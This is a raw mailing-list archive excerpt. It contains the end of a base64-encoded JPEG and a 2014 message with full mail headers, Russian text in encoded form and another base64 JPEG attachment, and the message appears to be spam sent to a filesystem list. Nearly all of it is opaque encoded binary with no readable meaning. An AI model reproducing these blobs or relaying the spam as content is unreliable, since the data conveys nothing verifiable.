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 ------=_20140203184822_46399-- From red_ks@interlod.com Mon Feb 3 18:45:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1D447F59 for ; Mon, 3 Feb 2014 18:45:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9DC0A304077 for ; Mon, 3 Feb 2014 16:45:33 -0800 (PST) X-ASG-Debug-ID: 1391474729-04cb6c6de0d2410001-NocioJ Received: from fs4.fhost.ee (static.204.93.63.178.clients.your-server.de [178.63.93.204]) by cuda.sgi.com with ESMTP id KSNcyY0Nj5VFGl0O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 16:45:30 -0800 (PST) X-Barracuda-Envelope-From: red_ks@interlod.com X-Barracuda-Apparent-Source-IP: 178.63.93.204 Received: from Unknown (unknown [110.85.72.107]) by fs4.fhost.ee (Postfix) with ESMTPA id F1B2020A3CA6; Tue, 4 Feb 2014 04:48:25 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?wM3SyNDFycTF0A==?= From: =?windows-1251?B?wM3SyNDFycTF0A==?= To: , , , Subject: =?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg7eDv4OTl7ejp?= Date: Tue, 4 Feb 2014 01:44:24 +0100 X-ASG-Orig-Subj: =?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg7eDv4OTl7ejp?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1370_01CF214A.A1B405E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: static.204.93.63.178.clients.your-server.de[178.63.93.204] X-Barracuda-Start-Time: 1391474730 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144806 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1370_01CF214A.A1B405E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1371_01CF214A.A1B405E0" ------=_NextPart_001_1371_01CF214A.A1B405E0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CD=E5=E4=F0=F3=E6=E5=F1=F2=E2=E5=ED=ED=FB=E5 =EF=EE=E3=EB=EE=F9=E5=ED=E8= =FF ------=_NextPart_001_1371_01CF214A.A1B405E0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CD=E5=E4=F0=F3=E6=E5=F1=F2=E2=E5=ED=ED=FB=E5 =EF=EE=E3=EB=EE=F9=E5=ED= =E8=FF
------=_NextPart_001_1371_01CF214A.A1B405E0-- ------=_NextPart_000_1370_01CF214A.A1B405E0 Content-Type: image/jpeg; name="=?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg7eDv4OTl7ejpLmpwZw==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?x+D56PLgIO/w5eTv8Oj/8uj/IO7yIPDl6eTl?= =?windows-1251?B?8PHq6PUg7eDv4OTl7ejpLmpwZw==?=" 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 